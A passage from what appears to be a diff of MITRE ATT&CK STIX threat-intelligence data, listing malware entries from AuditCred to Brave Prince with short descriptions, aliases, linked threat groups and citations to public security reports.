"created": "2019-04-17T13:46:38.565Z", + "modified": "2019-10-11T15:31:49.560Z", + "labels": [ + "malware" + ] + }, + { + "name": "AuditCred", + "description": "[AuditCred](https://attack.mitre.org/software/S0347) is a malicious DLL that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) during their 2018 attacks.(Citation: TrendMicro Lazarus Nov 2018)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "AuditCred", + "Roptimizer" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92", + "created": "2019-01-30T15:47:41.018Z", + "modified": "2019-01-30T15:47:41.018Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0347", + "url": "https://attack.mitre.org/software/S0347" + }, + { + "description": "(Citation: TrendMicro Lazarus Nov 2018)", + "source_name": "AuditCred" + }, + { + "description": "(Citation: TrendMicro Lazarus Nov 2018)", + "source_name": "Roptimizer" + }, + { + "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018.", + "source_name": "TrendMicro Lazarus Nov 2018", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/" + } + ] + }, + { + "name": "AutoIt backdoor", + "description": "[AutoIt backdoor](https://attack.mitre.org/software/S0129) is malware that has been used by the actors responsible for the MONSOON campaign. The actors frequently used it in weaponized .pps files exploiting CVE-2014-6352. (Citation: Forcepoint Monsoon) This malware makes use of the legitimate scripting language for Windows GUI automation with the same name.", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "AutoIt backdoor" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--f5352566-1a64-49ac-8f7f-97e1d1a03300", + "created": "2017-05-31T21:33:14.551Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0129", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0129" + }, + { + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ] + }, + { + "name": "Azorult", + "description": "[Azorult](https://attack.mitre.org/software/S0344) is a commercial Trojan that is used to steal information from compromised hosts. [Azorult](https://attack.mitre.org/software/S0344) has been observed in the wild as early as 2016.\nIn July 2018, [Azorult](https://attack.mitre.org/software/S0344) was seen used in a spearphishing campaign against targets in North America. [Azorult](https://attack.mitre.org/software/S0344) has been seen used for cryptocurrency theft. (Citation: Unit42 Azorult Nov 2018)(Citation: Proofpoint Azorult July 2018)", + "id": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Azorult" + ], + "type": "malware", + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-01-30T15:19:14.309Z", + "modified": "2019-07-26T23:22:27.822Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0344", + "url": "https://attack.mitre.org/software/S0344" + }, + { + "description": "(Citation: Unit42 Azorult Nov 2018)(Citation: Proofpoint Azorult July 2018)", + "source_name": "Azorult" + }, + { + "source_name": "Unit42 Azorult Nov 2018", + "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/" + }, + { + "source_name": "Proofpoint Azorult July 2018", + "description": "Proofpoint. (2018, July 30). New version of AZORult stealer improves loading features, spreads alongside ransomware in new campaign. Retrieved November 29, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside" + } + ] + }, + { + "name": "BACKSPACE", + "description": "[BACKSPACE](https://attack.mitre.org/software/S0031) is a backdoor used by [APT30](https://attack.mitre.org/groups/G0013) that dates back to at least 2005. (Citation: FireEye APT30)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "BACKSPACE", + "Lecna" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--fb261c56-b80e-43a9-8351-c84081e7213d", + "created": "2017-05-31T21:32:24.428Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0031", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0031" + }, + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ] + }, + { + "name": "BADCALL", + "description": "[BADCALL](https://attack.mitre.org/software/S0245) is a Trojan malware variant used by the group [Lazarus Group](https://attack.mitre.org/groups/G0032). (Citation: US-CERT BADCALL)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "BADCALL" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2", + "created": "2018-10-17T00:14:20.652Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0245", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0245" + }, + { + "description": "(Citation: US-CERT BADCALL)", + "source_name": "BADCALL" + }, + { + "description": "US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.", + "source_name": "US-CERT BADCALL", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF" + } + ] + }, + { + "name": "BADNEWS", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) is malware that has been used by the actors responsible for the [Patchwork](https://attack.mitre.org/groups/G0040) campaign. Its name was given due to its use of RSS feeds, forums, and blogs for command and control. (Citation: Forcepoint Monsoon) (Citation: TrendMicro Patchwork Dec 2017)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "BADNEWS" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "created": "2017-05-31T21:33:14.118Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0128", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0128" + }, + { + "description": "(Citation: Forcepoint Monsoon)", + "source_name": "BADNEWS" + }, + { + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + }, + { + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "source_name": "TrendMicro Patchwork Dec 2017", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ] + }, + { + "name": "BBSRAT", + "description": "[BBSRAT](https://attack.mitre.org/software/S0127) is malware with remote access tool functionality that has been used in targeted compromises. (Citation: Palo Alto Networks BBSRAT)", + "id": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "BBSRAT" + ], + "type": "malware", + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2017-05-31T21:33:13.664Z", + "modified": "2019-04-24T23:10:02.247Z", + "external_references": [ + { + "external_id": "S0127", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0127" + }, + { + "source_name": "Palo Alto Networks BBSRAT", + "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/" + } + ] + }, + { + "name": "BISCUIT", + "description": "[BISCUIT](https://attack.mitre.org/software/S0017) is a backdoor that has been used by [APT1](https://attack.mitre.org/groups/G0006) since as early as 2007. (Citation: Mandiant APT1)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "BISCUIT" + ], + "type": "malware", + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda", + "created": "2017-05-31T21:32:17.147Z", + "modified": "2019-01-30T15:38:20.677Z", + "external_references": [ + { + "external_id": "S0017", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0017" + }, + { + "description": "(Citation: Mandiant APT1)(Citation: Mandiant APT1 Appendix)", + "source_name": "BISCUIT" + }, + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + }, + { + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1 Appendix", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ] + }, + { + "name": "BLACKCOFFEE", + "description": "[BLACKCOFFEE](https://attack.mitre.org/software/S0069) is malware that has been used by several Chinese groups since at least 2013. (Citation: FireEye APT17) (Citation: FireEye Periscope March 2018)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "BLACKCOFFEE" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43", + "created": "2017-05-31T21:32:45.892Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0069", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0069" + }, + { + "description": "(Citation: FireEye APT17) (Citation: FireEye Periscope March 2018)", + "source_name": "BLACKCOFFEE" + }, + { + "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.", + "source_name": "FireEye APT17", + "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf" + }, + { + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "source_name": "FireEye Periscope March 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ] + }, + { + "name": "BONDUPDATER", + "description": "[BONDUPDATER](https://attack.mitre.org/software/S0360) is a PowerShell backdoor used by [OilRig](https://attack.mitre.org/groups/G0049). It was first observed in November 2017 during targeting of a Middle Eastern government organization, and an updated version was observed in August 2018 being used to target a government organization with spearphishing emails.(Citation: FireEye APT34 Dec 2017)(Citation: Palo Alto OilRig Sep 2018)", + "id": "malware--d5268dfb-ae2b-4e0e-ac07-02a460613d8a", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "malware", + "x_mitre_aliases": [ + "BONDUPDATER" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-02-18T20:16:12.119Z", + "modified": "2019-10-11T19:43:24.691Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0360", + "url": "https://attack.mitre.org/software/S0360" + }, + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + }, + { + "description": "Wilhoit, K. and Falcone, R. (2018, September 12). OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government. Retrieved February 18, 2019.", + "source_name": "Palo Alto OilRig Sep 2018", + "url": "https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/" + } + ] + }, + { + "name": "BOOSTWRITE", + "description": "[BOOSTWRITE](https://attack.mitre.org/software/S0415) is a loader crafted to be launched via abuse of the DLL search order of applications used by [FIN7](https://attack.mitre.org/groups/G0046).(Citation: FireEye FIN7 Oct 2019)", + "id": "malware--56d10a7f-bb42-4267-9b4c-63abb9c06010", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "BOOSTWRITE" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-10-11T16:04:31.994Z", + "modified": "2019-10-15T17:07:57.638Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0415", + "url": "https://attack.mitre.org/software/S0415" + }, + { + "source_name": "FireEye FIN7 Oct 2019", + "description": "Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators\u2019 New Tools and Techniques. Retrieved October 11, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html" + } + ] + }, + { + "name": "BOOTRASH", + "description": "[BOOTRASH](https://attack.mitre.org/software/S0114) is a [Bootkit](https://attack.mitre.org/techniques/T1067) that targets Windows operating systems. It has been used by threat actors that target the financial sector. (Citation: MTrends 2016)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "BOOTRASH" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--da2ef4a9-7cbe-400a-a379-e2f230f28db3", + "created": "2017-05-31T21:33:08.292Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0114", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0114" + }, + { + "description": "Mandiant. (2016, February). M-Trends 2016. Retrieved January 4, 2017.", + "source_name": "MTrends 2016", + "url": "https://www.fireeye.com/content/dam/fireeye-www/regional/fr_FR/offers/pdfs/ig-mtrends-2016.pdf" + } + ] + }, + { + "name": "BS2005", + "description": "[BS2005](https://attack.mitre.org/software/S0014) is malware that was used by [Ke3chang](https://attack.mitre.org/groups/G0004) in spearphishing campaigns since at least 2011. (Citation: Villeneuve et al 2014)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "BS2005" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--67fc172a-36fa-4a35-88eb-4ba730ed52a6", + "created": "2017-05-31T21:32:15.994Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0014", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0014" + }, + { + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "source_name": "Villeneuve et al 2014", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + } + ] + }, + { + "name": "BUBBLEWRAP", + "description": "[BUBBLEWRAP](https://attack.mitre.org/software/S0043) is a full-featured, second-stage backdoor used by the [admin@338](https://attack.mitre.org/groups/G0018) group. It is set to run when the system boots and includes functionality to check, upload, and register plug-ins that can further enhance its capabilities. (Citation: FireEye admin@338)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "BUBBLEWRAP", + "Backdoor.APT.FakeWinHTTPHelper" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--123bd7b3-675c-4b1a-8482-c55782b20e2b", + "created": "2017-05-31T21:32:33.738Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0043", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0043" + }, + { + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "source_name": "FireEye admin@338", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ] + }, + { + "name": "BabyShark", + "description": "[BabyShark](https://attack.mitre.org/software/S0414) is a Microsoft Visual Basic (VB) script-based malware family that is believed to be associated with several North Korean campaigns. (Citation: Unit42 BabyShark Feb 2019)", + "id": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "BabyShark" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-10-07T19:05:48.886Z", + "modified": "2019-10-14T19:52:22.357Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0414", + "url": "https://attack.mitre.org/software/S0414" + }, + { + "description": "(Citation: Unit42 BabyShark Feb 2019)(Citation: Unit42 BabyShark Apr 2019)", + "source_name": "BabyShark" + }, + { + "source_name": "Unit42 BabyShark Feb 2019", + "description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019.", + "url": "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/" + }, + { + "source_name": "Unit42 BabyShark Apr 2019", + "description": "Lim, M.. (2019, April 26). BabyShark Malware Part Two \u2013 Attacks Continue Using KimJongRAT and PCRat . Retrieved October 7, 2019.", + "url": "https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/" + } + ] + }, + { + "name": "Backdoor.Oldrea", + "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) is a backdoor used by [Dragonfly](https://attack.mitre.org/groups/G0035). It appears to be custom malware authored by the group or specifically for it. (Citation: Symantec Dragonfly)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Backdoor.Oldrea", + "Havex" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", + "created": "2017-05-31T21:32:59.661Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0093", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0093" + }, + { + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "source_name": "Symantec Dragonfly", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ] + }, + { + "name": "BadPatch", + "description": "[BadPatch](https://attack.mitre.org/software/S0337) is a Windows Trojan that was used in a Gaza Hackers-linked campaign.(Citation: Unit 42 BadPatch Oct 2017)", + "id": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "BadPatch" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-01-29T21:33:34.082Z", + "modified": "2019-04-23T21:17:49.678Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0337", + "url": "https://attack.mitre.org/software/S0337" + }, + { + "description": "(Citation: Unit 42 BadPatch Oct 2017)", + "source_name": "BadPatch" + }, + { + "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018.", + "source_name": "Unit 42 BadPatch Oct 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/" + } + ] + }, + { + "name": "Bandook", + "description": "[Bandook](https://attack.mitre.org/software/S0234) is a commercially available RAT, written in Delphi, which has been available since roughly 2007 (Citation: EFF Manul Aug 2016) (Citation: Lookout Dark Caracal Jan 2018).", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Bandook" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--835a79f1-842d-472d-b8f4-d54b545c341b", + "created": "2018-10-17T00:14:20.652Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0234", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0234" + }, + { + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "source_name": "Lookout Dark Caracal Jan 2018", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + }, + { + "description": "Galperin, E., Et al.. (2016, August). I Got a Letter From the Government the Other Day.... Retrieved April 25, 2018.", + "source_name": "EFF Manul Aug 2016", + "url": "https://www.eff.org/files/2016/08/03/i-got-a-letter-from-the-government.pdf" + } + ] + }, + { + "name": "Bankshot", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) is a remote access tool (RAT) that was first reported by the Department of Homeland Security in December of 2017. In 2018, [Lazarus Group](https://attack.mitre.org/groups/G0032) used the [Bankshot](https://attack.mitre.org/software/S0239) implant in attacks against the Turkish financial sector. (Citation: McAfee Bankshot)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Bankshot", + "Trojan Manuscript" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "created": "2018-10-17T00:14:20.652Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0239", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0239" + }, + { + "description": "(Citation: McAfee Bankshot)", + "source_name": "Bankshot" + }, + { + "description": "(Citation: McAfee Bankshot)", + "source_name": "Trojan Manuscript" + }, + { + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "source_name": "McAfee Bankshot", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + } + ] + }, + { + "name": "Bisonal", + "description": "[Bisonal](https://attack.mitre.org/software/S0268) is malware that has been used in attacks against targets in Russia, South Korea, and Japan. It has been observed in the wild since 2014. (Citation: Unit 42 Bisonal July 2018)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Bisonal" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", + "created": "2018-10-17T00:14:20.652Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0268", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0268" + }, + { + "description": "(Citation: Unit 42 Bisonal July 2018)", + "source_name": "Bisonal" + }, + { + "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", + "source_name": "Unit 42 Bisonal July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/" + } + ] + }, + { + "name": "BlackEnergy", + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3. (Citation: F-Secure BlackEnergy 2014)", + "id": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "BlackEnergy", + "Black Energy" + ], + "type": "malware", + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2017-05-31T21:32:57.807Z", + "modified": "2019-06-24T17:08:51.442Z", + "external_references": [ + { + "external_id": "S0089", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0089" + }, + { + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "source_name": "F-Secure BlackEnergy 2014", + "url": "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf" + } + ] + }, + { + "name": "Brave Prince", + "description": "[Brave Prince](https://attack.mitre.org/software/S0252) is a Korean-language implant that was first observed in the wild in December 2017. It contains similar code and behavior to [Gold Dragon](https://attack.mitre.org/software/S0249), and was seen along with [Gold Dragon](https://attack.mitre.org/software/S0249) and [RunningRAT](https://attack.mitre.org/software/S0253) in operations surrounding the 2018 Pyeongchang Winter Olympics. (Citation: McAfee Gold Dragon)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Brave Prince" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--28b97733-ef07-4414-aaa5-df50b2d30cc5", + "created": "2018-10-17T00:14:20.652Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0252", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0252" + }, + { + "description": "(Citation: 